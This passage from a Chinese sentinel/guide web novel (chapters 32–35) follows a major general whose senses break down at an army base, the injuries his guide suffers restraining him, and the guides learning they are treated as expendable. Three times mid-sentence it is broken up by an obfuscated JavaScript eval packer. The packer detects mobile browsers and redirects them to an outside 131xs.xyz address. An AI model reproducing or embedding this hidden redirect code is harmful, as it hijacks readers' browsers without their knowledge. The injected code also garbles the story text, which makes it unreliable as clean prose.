顾小绒刚好趁这个机会向他们学习了驾驶最新的作战机型,某种程度上补全了她在公会没能受完的训练。 接触空军的过程意外的顺利,但紧接着的陆军就没有这样轻松了,陆军总负责人加雷斯上校是一位五十多岁的中年硬汉,身上有一股原始的强势与生猛,却也有些独断专行。 单兵作战能力这一方面虽然没得讲,但从整个战局的经验来说,加雷斯上校打心眼里没有瞧上韩奕这种“年轻人”,他对韩奕说不上轻蔑,但也没有太过尊重。之前对于S级哨兵离开公会是否安全这事,看上去也是他的手下撺掇的。 陆军是最为悠久的军种,也是目前服役人数最多的,因此效率与作战反应等各方面也比较迟缓,中间的阶层与程序太多,还有各种派系。 至于装备方面,加雷斯上校倒是盯得很紧,韩奕在考察过之后就准备将重点全部放到陆军的作战体系整改上,实际上这恐怕也是女皇的意思。之前的两任少将都是陆军出身,这使得他们自己的问题积重难返,选择韩奕这个出身中央公会的哨兵,也是做为客观力量替女皇扫除顽疾。 加雷斯实际上对于上级此次的布局也十分清楚,他在打仗这一块可以说的上是天纵奇才,从没有任何背景的下士一路走到现在,身上的荣耀与胜仗不计其数。但经年累月下来,各方的人情与势力交织也越来越多,英雄的刀不再同往日那般锋利。 韩奕没有打算大刀阔斧地去动加雷斯的根基,毕竟与南方的对弈还在白热化阶段,加雷斯这人脾气虽然不好,但拥有士兵们的拥护,也能打胜仗。于是韩奕直接告诉了加雷斯需要动手整顿哪些东西,他处理不了的,韩奕会亲自处理。 优化内容与时间排布被放到了加雷斯面前,没有等他回应,韩奕转身就走。 常规军事基地的设施是对普通人设定的,对于哨兵来说远远没有达标,比如噪音这一样,接待韩奕的住所很多也都是临时增加的隔音垫,比起公会里严格达标的隔音层差得很远。 从离开公会以后,韩奕几乎就一直处于五感过载的状态,顾小绒几乎是竭尽全力地保护着哨兵,但韩奕的感官仍旧会越来越频繁地波动,甚至出现了持续的头痛和耳鸣。 整整一个月,他们都停留在陆军基地里,虽然给他们安排的住所是独栋的别墅,配 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16055871|179099||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 置豪华,可韩奕依旧会不断地被噪音折磨。从早到晚,士兵的操练声、装甲车、机甲运作的声音、汽笛声与马达声几乎没有间隙,办公室的隔音与住所也差不多,甚至因为处在基地中心而显得更加嘈杂。 因为还有大量的工作需要处理,韩奕每天都不得不忍受着噪音办公到很晚,除此之外,更多时候还要应对来自陆军各路派系的攻击,毕竟他已经放话要整顿陆军,无论加雷斯怎么做锅都是他背。被损害到切身利益的团体不遗余力地反抗,他们从办公室到住所也一直处在监视的范围。 哪怕是韩奕稍微透露出一点点不适,“S级哨兵失控”这个大罪就又要被他们按到头上。 还好莉莎和其余几位随行人员一同带在身边,他们每天除了完成自己的工作之外,还要负责到处搜寻和赶走那些不怀好意的“站岗士兵”与“文职随从”。 韩奕此时的身份位置已不便直接参与一线的战争,更多是负责统筹全局,三军是一个十分庞大的范围,几乎事无巨细。还好之前他们已经拿下了维赛克城与阿维隆军港两处要塞,之后的战事推进十分平稳。曼琳也在时刻同少将汇报着公会方面的消息,蝴蝶向导从泽卡那次以后再次消失,出于人手的极度匮乏,公会开始恢复将治疗型向导派向战场。 听完汇报后已是深夜十一点,少将按压着不断嗡鸣的太阳穴,只回复了一句:“对治疗型向导要重点保护,活要见人死要见尸。”便挂断了通讯。 回到住所后,顾小绒便立即关闭了每一扇门窗,并且将窗帘放了下来。陆军一边高喊着担心哨兵失控,一边对他们的住所与办公要求置若罔闻。他们早就有说过住所的颜色要尽量少,色彩对比不要过于尖锐,尽量全用白色。 可眼下这别墅的装潢十分华丽,色彩与装饰极其繁杂,地毯上是眼花缭乱的古典花纹,甚至连窗帘也是酒红色。现在卧室里的灰色窗帘,甚至都是顾小绒托莉莎才去外面买回来的,想从公会专机运输一些日用品过来,又担心会被陆军抓住做文章,毕竟凯瑟琳夫人办了几场沙龙就已经惹上了麻烦。 地毯早就被收走,只是墙纸上的花纹一时半会儿仍旧没有办法。等顾小绒把上下所有门窗都关完、打开空气循环系统跑回卧室后,少将已几乎是半跪在床头。顾小绒赶紧过去扶住了他,哨兵的五感剧烈地波动着,她立即撑起精神力屏障,可是效果仍旧不明显。 韩奕脸色惨白,狠狠将头抵在墙上,他的指尖扣在床头柜上,木质的柜体几乎是立即破碎变形,尖锐的撕裂声更加重创了哨兵脆弱的听觉,韩奕的面容霎时覆上了一层冷汗,全身轻微地颤抖着。 “手铐……”哨兵艰难地开口。 顾小绒立即取出手铐,将韩奕的双手拷住,她不敢发出一丝声音,现在哪怕是一丝细微的气音也会给他造成巨大的痛苦。将哨兵的双手反拷在背后的同时,顾小绒也加强了精神屏障,可哨兵的波动仍旧没有停下来。S级的五感太敏锐了,她无论怎样尝试都无法让他好转,哨兵现在已经连被她的精神力触碰都已无法忍受,几乎到了失控的边缘。 顾小绒的精神力被狠狠抽开,她不得不将身体的重量压在哨兵的身上,手按压着他的肩、腿压制住他的躯体,准备用精神力进行强行控制,她需要立即将他带入自己的精神图景,解除眼前的危险。 突如其来的精神侵袭使得哨兵几乎是下意识地反抗,被牢牢按压的腿忽然屈起,顾小绒只感到自己被猛地掀飞,几乎是直直撞到了五米外的沙发上。剧烈的疼痛让她的视线短暂地陷入一片黑暗,一股腥甜随即翻涌而上,滚烫的血不受控制地从口中涌出。 向导甚至来不及缓解这股剧痛,抵抗训练的记忆铭刻在她的每一寸肌肉里,在意识到情况迅速恶化后她不得不按动了右手的启动器,可以很明显看见哨兵的身子因为电击而短暂失去了力气。顾小绒立即重新扑了上去,用和刚才一样的姿势压住了哨兵,避免他再有什么失控的动作,在这个过程中哨兵仍旧挣扎,她的体力已经耗尽、腹部再次承受了撞击,只能再一次按下了启动器。 33. 第三十三章 泪水与血水混合着流下,覆盖了顾小绒的脸,她用手臂擦了擦眼睛才看清眼前的景象。韩奕的面容已全无血色,两次电击的痛苦令他几近昏厥,他的嘴角渗出了一丝鲜血,内里显然已经被咬破。 顾小绒趁着这瞬间的薄弱控制住了哨兵,她跪坐着压在他的身上,抱住那张冰冷的、因疼痛而战栗的脸,将自己的额头贴了上去。 再次睁开眼时,柔软的花瓣正从她的眼前徐徐飘落,韩奕蜷缩在草地里,似乎还没能从刚刚的痛苦中缓过来。“长官,长官!”顾小绒终于敢说话了,她扑上前呼喊着他,在闻到熟悉的荔枝香之后,韩奕几乎是立即起身将她按在了身下。黑豹在瞬间具象化,哨兵瞳孔收窄、眼中一片血红,他气息沉重,动作快得几乎令她没有反应时间。 顾小绒的大脑还没来得及运转,视线就陷入一片仓促的混乱,上下的姿势在顷刻间扭转。哨兵将她半压在身下,即使是在精神图景里,他的力量也仍旧大得让她几欲窒息。顾小绒只得一边抱住他的背,一边轻声安抚。 “没事,没事了……” 耳畔的喘息终于渐渐止息,浓稠的兽性中似乎掠过一丝清明,他的手不断抚弄着顾小绒的脸颊与发丝,动作全无章法,甚至带有一分慌乱与粗暴,像是在不断确认她的存在。 “我在这儿,我在。”她紧贴在他的怀里,像是对待孩子似的一遍遍哄着,直到哨兵终于松懈了力气镇定下来。这里温暖而宁静,遍布着她的气息,哨兵已到极限的精力开始涣散,在向导不断的安抚下,缓缓陷入沉睡。她用手轻轻托着他的头,将他的上身小心地揽在怀里。 在精神图景之外,冰冷的夜色被破碎的灯光切割,顾小绒跪坐在韩奕的身上,鲜血淋漓地沾了他一身。向导喘着气,将手轻轻拢住哨兵汗湿的鬓发,因为刚才剧烈的动作,她也轻微地喘息着。 “没事了……”她忍住腹部翻涌上来的剧痛,轻轻贴住他冷汗岑岑的脸:“我在……我在这里……” 明丽的暖光刺破沉睡的眼帘,她的视线被瑰丽的绯红填满,不安稳的睡眠充斥着杂乱的声响,门外十分嘈杂,似乎有无数人的呼喊与凌乱的步伐,随后她听见了一丝熟悉而清冷的声线。 “……你们退下,让科林过来报道。”前面半句她没有听清楚,只听见后面半句,科林是韩奕从公会带来的随行医务人员。顾小绒的睫羽微微颤动了一下,她的意识仍然没有完全苏醒,只是下意识地感觉到哨兵脱离了自己的怀抱。于是她伸出手去,将咫尺之隔的身体重新揽入怀里,他的肩太宽了,以至于她搂得有些费力,迟缓的意识许久之后才使她转变了方向,她最终还是决定将手从腰间穿过抱住她的哨兵。 这个姿势让她重新紧紧贴在了他的怀里,又或者说在她此时的视角里,是她将哨兵重新搂进了怀里。她的前额轻轻磨蹭着他的下颌,几乎是下意识地轻拍着他的背部,呢喃着:“没事……”随后,她的手便碰到了一个坚硬而冰冷的物体,她触电一般地猛地睁开眼。 窗外天色大亮,卧室一片狼藉,床头柜已经被捏出了一个巨大的破口、一整个变形破损,台灯碎了一地,玻璃渣四散飞溅。沙发几乎被撞飞,四脚朝天地翻了过去对着天花板,墙上、地上到处迸射着已经暗红的血迹。顾小绒呼吸一紧,她的身体还在一片白茫之中没有感知,紧接着她的眼神缓缓聚焦到眼前。韩奕的脸正和她紧贴在一起,在感知到她醒来后,他几乎是立即挣动着看向了她,深黑的眼眸满是焦灼与担心。 她终于想起自己摸到的那个冰冷的东西是什么了,手铐还把少将的手捆在背后呢,顾小绒只感到身上一阵冷汗,她立即挣扎着起身,撕裂的剧痛随即将她贯穿,她痛得闷哼一声栽倒在地,哨兵将仅剩能动的腿抬了抬,接住了她跪倒的上半身。顾小绒眼冒金星地伏在韩奕的腿上大口喘气,少将还穿着昨晚没来得及脱下的军服,她的手拽住他被长筒军靴包裹的小腿,他的身躯坚硬挺阔、不动如山,令她生出一丝没来由的安心,过了好一会儿才颤抖着重新挣扎了起来,将哨兵的手铐打开。 一瞬间天旋地转,顾小绒还没来得及看清发生了什么,便感觉身体一轻,几乎是飞一般地被哨兵抱到了床上。随后门被打开,莉莎带着科林、以及两位随行的亲信士兵走了进来,听得出来他们的步伐十分急促,想来应该是在外面等了很久。门被立即关上,众人很显然被眼前的场景吓了一跳,在少将的一个眼神下,科林立即打开了随身携带的医疗箱,只是此时他也没有更多的检查仪器,只能用听诊器初步诊断顾小绒的情况。 另一边,她看见少将在对一脸惶恐的莉莎不断叮嘱着注意事项。“外面有没有人监控?”韩奕首先问道。“我们来的时候已经派了人在外守着。”莉莎的眼神从满地的狼藉中收回,嘴唇微微颤抖着:“但是您从来没有无故消失半天,陆军这时应该感觉到了不对劲。”“告诉他们顾小绒中尉生病了,我在这里陪护。”韩奕冷静地命令道,前一晚他也经历了剧烈的波动,只是哨兵的身体修复得够快,只是一夜的时间他的躯体与感官都恢复到了正常水准,昨晚接连的两次电击甚至没能给他留下一星半点的伤痕。 “可是,这样的话陆军一定会派他们的军医过来……”莉莎的声线逐渐恢复了平稳。 “拦住他们,就说中尉需要静养。”少将的眼神仿佛淬了冰,莉莎忙不迭地点头。 另一边,科林不断仔细地排查着,让顾小绒缓慢地吸气吐气,现在这样的动作仍旧会让她感到牵拉的疼痛。几分钟后科林取下了听诊器,对少将报告到:“她的肺部听上去有杂音,腹部也有损伤,需要全面的检查排除内出血的可能性。” 少将实在是太高了,顾小绒现在躺着的角度看不见他的面容,气氛陷入一片难捱的沉默。而此时的她,就如同曾经的韩奕一样,云淡风轻地说了句:“我没事。”说完她甚至想要撑住身体坐起来,被一脸惊慌的科林赶紧拦住,少将疾步走到床边,用手轻轻按住了顾小绒的肩,她看见他的眼角有些微微发红。 就在此时,少将的通讯器忽然急促地响了起来,尖锐的声音在寂静的卧室里肆虐,平白增添了一丝仓皇,刚刚才有所放松的气氛又骤然绷紧。 韩奕不得不接通了通讯,曼琳的脸瞬间被一阵蓝光投屏到中央,即使只是投屏,也能看见她的面容一片煞白,新任少校用几乎是有些发抖的语调说:“老师,出大事了,S级哨兵失控,情况非常危险。” “好好说话。”韩奕的面容冷静到没有半分波动:“是谁?什么时候?立即汇报。” “是,报告长官。”老师的临危不乱让曼琳也缓和了下来,她立即恢复了从前的状态:“公会想要拿下阿维隆军港南侧近邻的卡利斯特港湾,昨晚派出的是S级哨兵成煜与他的向导景铭,作战过程中景铭身受重伤,任务失败,两人于昨夜凌晨4点撤离,战机一到公会景铭就咽了气,目前成煜的状况十分不稳定,公会暂时隐瞒了景铭已经去世的消息,但……” “公会还有哪些S级哨兵在?”韩奕立即问道,林轩是A级哨兵,穆承安和沈骁是A级向导,只怕三个人加在一块,也不一定能控制住发狂的S级哨兵。 “回长官,楚飞和言韶都在。”曼琳的嘴角还有些微微地颤抖:“他们已经过去了,禁制塔方面也得到了消息,目前正在路上。” “立即控制住成煜,将他送去禁制塔。”韩奕命令道:“保持通讯,时刻向我汇报情况。” “是。”曼琳答到,随后支撑着她的那股力似乎消失了,她的肩颓然地垮塌下去:“S级哨兵失控是大事,公会一定会召开听证会,长官您也许需要回来。” “没事,我会处理。”韩奕的语调终于放缓了些许,他的眼神似乎蕴含着某种力量,给予了她坚定的支撑:“时刻与我保持通讯。”他再次强调到。 “是。”曼琳答完,蓝色投影从空中消失。 景铭……死了。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16055872|179099||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>顾小绒的大脑仿佛是空了一般无法思考,这几个字她似乎都认识,却迟迟无法理解、或者说无法接受它的含义,她的大脑如同自我保护一般停止了运作。她想起了最后一次在训练场时与景铭擦肩而过的场景,那时的他已经被旧伤折磨到形销骨立,可即使如此,她也没有想到这会是她见到的最后一面。 一个小时后,曼琳发来讯息,公会已成功将成煜控制住送往禁制塔;40分钟后讯息显示,成煜已进入最高级别关押与保护。三个小时后传来中央公会正式文件,针对此次S级哨兵失控与A级向导死亡事件的听证会将于5天后下午2点举行,需要林轩上校与沈骁上校现场汇报,韩奕少将、莱安上将及其余军部高官前往现场审核。 “准备军机,立即回公会。”韩奕重新换了一身军服,卧室此时已被清洗完毕,肉眼已看不见一丝血迹。 “长官,中尉现在的情况最好不要挪动。”科林有些担心地说道。“用担架。”韩奕下完命令,随行的车辆几乎是在10分钟后就立即停在了别墅门口,军机正在调度的路上,预计半小时后进入停机坪。情况紧急,再加上顾小绒的伤势需要立即处理,他们必须马上回到公会。 她是被固定在担架上抬上军机的,这样挺直的动作让腹部的疼痛更加剧烈,想要蜷起身子缓解也做不到,顾小绒只能闭眼咬牙忍着,从不晕机的她甚至感到了一丝恶心。少将的手不断抚摸着她汗湿的发丝,清冽的雪松味让她挨过了一阵阵剧烈的难受与抽痛。但即使是这样马不停蹄,他们回到公会的时候,太阳也已经西沉。顾小绒被加急送往军区医院,医生一边检查一边询问着她现在是什么感觉。 “头痛吗?”鼻尖充满了消毒水的味道,她听见医生严肃的声音。“有些头晕……”她如实回答:“有点想吐……” 做完一系列的检查也花费了半个小时,再过了两个小时等待结果,仍旧是脏器上看见血块,提示内出血风险,另外脑部轻微脑震荡。医生给顾小绒挂上了水,他们只能期待血块不要再扩大。莉莎已经带来了饭,是足够清淡的南瓜粥,顾小绒已经整整一天水米不进,可即使是现在她也仍旧难受得食不下咽。 她看见一旁少将的通讯器不断闪烁,巨量的信息疯狂地朝着他涌来。现在的情况一定很紧急,公会很需要他的出面,可是他现在还带着禁制环,而她实在是还不能下地行走,担架也没有办法抬到禁制塔去,那里太过危险。顾小绒强行忍着晕眩与恶心,喝下了小半碗南瓜粥,这一天实在是累得够呛,她让莉莎、科林他们赶紧去休息,先让医院开一间病房,然后等候少将接下来的指示。 迷蒙的困意与痛感在身上交织,等再次睁开眼,时间已指向了凌晨4点。醒过来时,她正蜷缩着身子躺在少将怀里,韩奕合衣而眠,侧卧在病床的一角,仍旧如同往日那般将手搭在她的腰间,将她轻轻拢着。顾小绒微一偏头,耳尖便碰上了少将胸口银质的扣子,她不由一阵哆嗦。韩奕显然也只是浅眠,在感觉到怀里人的挣动后,那只环在顾小绒腰间的手抬了起来,轻轻抚过她的脸,他的指尖有一层薄茧,熟悉的触感让她一阵轻颤。 “还疼吗?”少将低沉的气音紧贴在耳畔,顾小绒感到那里一片滚烫。 “不疼了……”她轻声答道,大半夜的液体输下去,她确实已经感觉到大幅缓解,随后她抬头问道:“长官,我们明天去一趟禁制塔吗?” 似乎没有想到她这样快就要进入工作状态,韩奕过了会儿才回复道:“先输完明天的液,看看恢复情况。”“可是……”她深知事态的严重性。“有林轩在,他如果连这个都办不好,也不用再干了。”韩奕轻轻摩挲着她的鬓发,语气近乎温存。 可林轩是A级啊,他如果有这个能力,也不需要急着把韩奕请回来了,顾小绒在心里想着。 “楚飞如果也办不了,那他也别干了。”像是看透了她的想法似的,少将重新将她按回怀里,轻声命令道:“再睡会儿。” 34. 第三十四章 原本医生开的药剂还有一天,顾小绒却仍然坚持在第二天输完液后前往禁制塔,韩奕无可奈何地看着自家向导,仿佛此时她才是发号施令的长官。 作为向导,顾小绒考虑的问题与哨兵的纯粹武力控制不同,平日里因为抵抗训练,她同景铭也时常接触,因而多多少少有些了解他与成煜的关系。现在的情况是要尽快稳定住成煜的状态,他们无法承受一位S级哨兵的彻底狂化或是死去。 得知少将要前往禁制塔,林轩与沈骁自然也一同前去,穆承安亲自开道。这么多长官同时到场,周遭警戒的士兵更加紧张,照例询问是否需要随行,韩奕摆了摆手。 关押成煜的房间比当时关押韩奕的级别更高,这是一座悬浮在空中的囚笼,铁链从上下角落里延伸出来,将倒在地上的哨兵捆缚得严严实实。成煜的半张脸都被黑色的防咬合嘴套覆盖,仔细看看他的嘴里甚至还带着口枷,顾小绒曾经有在训练场闻到过他的信息素味,是一种极淡的金属的味道,仿佛是刀刃本身一般,没有任何温度与生的气息。而现在,哨兵浓郁的信息素已充斥了整个囚笼,金属味里带上了一丝浓郁的铁锈气息,仿佛是在渗着血。 这让顾小绒不由想起了第一次见到韩奕的时候,她的心骤然一痛。 “送过来的时候我就尝试过建立临时精神屏障,失败了。”隔着绝对静音与防弹的玻璃墙,穆承安说道,他是极为少见的攻防兼备的向导,因为出色的精神治疗能力才被调入禁制塔任职。中央公会的禁制塔关押的都是级别最高、最危险的哨兵,穆承安能坐到这个位置实力可见一斑,可即使是他面对成煜如今的状态也束手无策。 沈骁说不上话,他是攻击型向导,在战场上大开杀戒没有问题,但面对此刻已在狂化边缘的S级哨兵,如果强行精神对接,只怕对方会承受不住。 “有新的可以匹配的向导选出来吗?”韩奕对所有环节了如指掌,冷静到没有一丝的情绪波动。眼下的情况他自己本人都亲身经历过数次,在顾小绒报道之前,他甚至一个人以这样的状态在禁制塔支撑了一个月。 “其实一直有两位备选,当天晚上就调过来了,只是……”沈骁与穆承安对视一眼,两人都面露难处。韩奕敏锐地捕捉到了“备选”两个字,但暂时按下不表。 “哨兵不接受他们。”穆承安把沈骁没有说完的话补充完:“他把自己封闭起来了。” “长官,那个……”一直跟在队伍最后的中尉忽然轻声开口,她望着穆承安与沈骁问道:“可以让我试试吗?”顾小绒的脸上还没有恢复血色,因为受伤她的眼下有很明显的乌青,因为担心她甚至违背了医嘱强行出院,她必须试一试,至少和成煜说上话。 两位长官对视一眼,又看向韩奕,见少将也没有阻拦的意思,随即点头。 顾小绒的手触摸上冰冷的玻璃,她回忆起有一次自己在抵抗训练时被摔在地上,那时候就在她身边不远处的景铭走了过来,伸手将她扶起。景铭的向导素是天然的矿石味,浅淡素然、纯净悠远,这一握的记忆重新浮现在顾小绒的脑海里,她尝试着模拟出他的向导素,轻轻触摸了一下成煜,原本昏死的哨兵像是忽然活了过来,睁开了眼睛。 矿石味随即散去,取而代之的是顾小绒原本的荔枝香。 “成煜,我是顾小绒,你能听见吗?还记得我吗?”顾小绒用她的精神力缓缓围绕在哨兵周围,并没有再次触碰,这句话是顾小绒通过精神连接传达的,旁人听不到。 成煜很明显醒了过来,刚刚那股熟悉的味道出现得太过短暂,像是来不及抓住的梦,他良久地沉默着,随后用精神力问道:“景铭死了,是么?”他的声音沙哑低沉,好像被按压在粗粝的砂石上。 “是。”所有人都瞒着他,顾小绒没有这样的打算,如今她也是与哨兵深度对接的向导,她知道这种程度的连接一旦破裂,另一方不可能没有感知。她转而说到:“你现在这样,要我们怎样和景铭交代?你要让他死也放心不下吗?” 成煜被口枷与嘴套牢牢卡住的面容,竟然拉起了一丝浅笑,看上去冷厉中带有一丝嘲弄:“他哪里会放心不下我?他巴不得离开……现在终于如愿了……” “不是的,他放心不下你。”顾小绒坚决地说:“他在意你。” 哨兵不再言语,再次封闭了精神与意识。一旁的诸位长官只看到顾小绒成功地让这个棘手的哨兵醒了过来,一时面露惊诧。成煜转瞬即逝的笑意带有一分冷然,更多的却是赴死的决绝。 三天后,听证会准时开始。莱安上将与韩奕少将坐在上位,由金发哨兵与顾小绒在旁跟随,他们的身份只能站在两位长官身边。曼琳少校与楚飞少校则坐在对面的旁听位,诺兰与周烨也一并到场,各自站在自家长官身边。穆承安少校则代表禁制塔坐在与他们相对的另一个位置,这场听证会主要由沈骁上校和林轩上校述职。 两人虽然还维持着面子上的和睦,但言语间都在互相撇清自己的关系。林轩认为,他才担任哨兵总负责人2个月,得到的数据与考核结果也都是在他上任之前的,如果景铭的身体状态早已不适合再匹配S级哨兵,那么不合理的安排也不是他的过错。碍于此时某位身居高位的少将就坐在面前,他收住了话头,没有说得太明显。 沈骁则不急不缓地拿出了两份申请,这是景铭在昨年年初与年底分别给他的,内容的大致意思是他感觉到身体受损巨大,体力已无法与S级哨兵匹配,请求公会为他调换A级哨兵。抵抗训练的结果也显示,最后的那一次他坚持的时间最少,几乎远低于华峥与顾小绒。他随后展示了自己主持的一系列面向全国的向导选拔,每一场都是根据成煜的数据量身打造,他也真的选出了几位可以匹配的向导,有两位为此甚至一直保留在备选状态。 所有的数据都在,可以清晰表明他做为向导总负责人已经尽了全力,至于为什么最后还是导致了这样的结果,顾小绒的眼神不可避免地与周烨触碰在一起。 隔着遥远的距离,周烨的神色疲惫而哀伤,同她如出一辙。 因为成煜不肯放手,他们对此心知肚明。 沈骁选出的所有向导他都不肯接受,也不肯配合,对接数据不达标,公会没有任何办法。抵抗训练时,成煜也总是可以做到将他和景铭的数据结果卡在刚刚合格的基准线上,公会一边找不到可以对接的新向导,一边看到训练结果仍旧在合格线上,这事就只能暂且搁置了下来。 是谁导致了如今这样的结果呢?没有人可以回答。 两人的述职结束,听证会也进入了尾声,莱安偏过头,用所有人都能听到的声量问韩奕有什么想法。少将沉默了半晌,伸手拿过了桌前的话筒:“从现在开始,剩余3位S级哨兵的向导重新进行考核与评估,想要更换哨兵的可以重新提出申请,公会将启动审核流程。暂时没有向导的哨兵进入禁制塔,等待重新配对。” 少将的声线威严决绝,死一般的寂静弥漫在整个会场,如同置身于毫无生气的沼泽。 莱安先是有片刻的意外,随后露出一个半含嘲讽的、看好戏的笑容。 韩奕已身为少将,他的心腹楚飞也正在公会哨兵二把手的位置,一旦两人的向导将他们弃之不顾,他们的根基有可能直接被斩断,这话竟然是从韩奕口中亲自说出的。旁人说这话,可能是做个样子给自己塑造姿态,可韩奕不会,他但凡说出口就是来真的。曼琳担心地望着她的老师,又望了望低下头的楚飞,神色满是忧虑。 这场听证会结束后,周烨等在门口,对一旁迟疑的楚飞冷声说了句:“你先回去吧,我有事找顾小绒。” 顾小绒也正有此意,只是她现在仍持有启动器,与韩奕不能相隔太远。她转过头,只见韩奕站在与她一尺之隔的身后,坚硬的黑色眼眸锋芒不再,他望向她的眼神平静而深邃,如同被笼罩在沉沉的雾霭中。 “你去吧,我在外面等你。”少将这样说道。 而另一旁,华峥也早已等在了门口,三人的目光短暂触碰,随后默然地随手拉开了一间办公室,走了进去。 公会的办公室都是绝对静音的,即使是门外三位 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16055873|179099||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' S级哨兵等候着,也不会听见他们的声音。即使刚刚被自家向导下了逐客令,楚飞也还是没有离开,他同韩奕、言韶一道等在外面。中央公会仅存的三位S级哨兵相顾无言,仿佛是在等候着最后的宣判,来自他们自己向导的宣判。 玻璃墙仿佛一道结界将他们分割,两端的身影变得模糊,令他们无法彼此看清对方。以往即使是有这样的时候,也是景铭同他们在一起的,四个人忽然变作了三个,每个人心里都不好受。气氛冷寂到几乎快要结冰,可活着的人还要承受这一切,继续负重前行。 “现在终于可以说了吗?”华峥语气淡淡地打破了沉默,他没有看向周烨,而是有些担心地看向顾小绒。向导女孩神色平静,只是微微点了一下头,她也早就对背后的真相有所猜测,这还要多谢莱安与他的姐姐凯瑟琳,他们真的一直在不遗余力地试图告诉顾小绒真相,也许这样她能更早一点的崩溃。 “我们是S级哨兵的消耗品。”即使是做足了心理准备,可当真相被赤裸裸剥离出来、摆到面前时,顾小绒的心还是有些抽痛。 周烨的面容没有分毫变动,他应当是最早猜测到真相的人。公会从来没有公布过S级哨兵的向导平均寿命与服役年限,只是不想让他们过早知道自己是消耗品的事实。楚飞和言韶还很年轻,因此他们还能勉强坚持住,而像韩奕这样服役多年的S级,顾小绒已经是他的第三位向导。 “抵抗训练也是谎言,是么?”顾小绒问道,蓝色的眼睛望向周烨,如同蓄满了悲伤的湖水。难得大家终于揭下伪装,彼此坦诚相待,这个沉默地、巨大的真相终于露出了冰山一角。 “A级向导根本无法匹配给S级哨兵,每一次抵抗训练哨兵们都是收着的,你我心知肚明,如果真的进入狂化状态,我们几乎无法控制住他们,10秒之内就会立即毙命。”顾小绒的声线几乎带有一丝颤抖,她的手撑住自己隐约抽痛的腹部。 韩奕在濒临失控时也保持着极端的克制力,他不过只是略微挣扎了一下,甚至不算是攻击动作,顾小绒就已经伤成了这样。她才刚刚服役一年,如果是两年、三年呢?她的内脏还可以承受多少次破裂?景铭最开始进入公会时,体能数据几乎是与周烨接近的完美,只是短短四年他便被折磨成了这个样子,在最后在任务中殒命,他的结局将是他们每一个人的结局。 匹配A级哨兵尚有一丝生路,而匹配S级哨兵没有。 “抵抗训练一开始就是谎言……”华峥笑了,白皙的手穿插进自己的鬓发,狠狠地将自己抓住:“亏我还一直纳闷是怎么回事,原来是把戏演的更真一点……” 周烨平静地走到华峥身边,伸手扣住了华峥的手腕,几乎是半强迫地迫使他放开了对自己的自残行为。长期面对S级哨兵,他们的生理与心理都承受着常人难以想象的压力与折磨,周烨也曾有过自残行为,而现在他是所有人中最冷静、最坦然的一位。 “我生气的不是我自己的死活。”华峥的手失去力气地垂落下来,他抬头望着周烨,浅色的眼眸如同玻璃一般空洞,眼角隐隐有泪:“我生气的是我死后,还会有不知情的向导被调来继续做消耗品,也许他们每一个人都会像以前的我们一样努力训练,期望可以最终控制住S级,最终让自己废掉……” 他的语气愈加激烈,身体微微发抖,周烨一把将他按向了自己怀里,此时唯有肢体语言能告诉华峥他们同他一道在这里。顾小绒也走上前来,轻轻扶住了华峥颤抖的肩,沉默横亘在寂静的空间里,顾小绒甚至习惯性地释放出自己的向导素,每当韩奕失控或难受时,她都会这样做,此时她也只希望华峥可以好受一些。 片刻后,华峥真的平静了下来,他的向导素也同样散发了出来,是宁静的沉香,同周烨微醺的红酒味一样好闻。他们果然都是最好的向导,顾小绒这样想着,露出一个悲伤而宽慰的笑容。 同伴的向导素使得她的心也跟着平静,波涛翻涌的湖泊回归为静止的镜面,没有了一丝折痕,她在很久之前就明白了自己的答案,她早已做出了抉择。 35. 第三十五章 顾小绒已经忘记了那天是怎样回到住所的,虽然只离开了两个月,却好像已经离开了很久。纯白的、熟悉的室内被收拾得干净整洁、纤尘不染,柔和的灯光就如同她第一次来的时候一样。她这会儿才想起来,自从她来中央公会之后,一次都没有去过自己的单人住所,而禁制环也还戴在少将的脖子上。 升做少将之后,韩奕也仍旧没有换住所,据沈骁说,这个房间是他从少校时候就一直住的,从那之后再也没有换过。 往后的那几天过得有些心不在焉,回忆起来一片空濛,几乎没有记忆,只留下大致的轮廓。到底是韩奕回来了,林轩还是向他请示这三位配备S级的向导怎样进行考核与评估,是常规考核还是抵抗训练。顾小绒其实已经无所谓是否抵抗训练了,自从将生死置之度外后,她便再也没有感到害怕过。 然而少将最终还是选了常规考核,想来也是,他之前那样开口,原本就是要给他们一条生路。沈骁将申请表单交给了顾小绒、周烨和华峥,他们有五天时间去填写。常规考核与体检结果也很快出来了,他们的水准当然还是远超A级的。只是周烨因为曾在阿维隆受的重伤,肺活量仍然比以前小了200ml,这导致了他的体能比起以前差了不少,也许以后也很难再恢复。 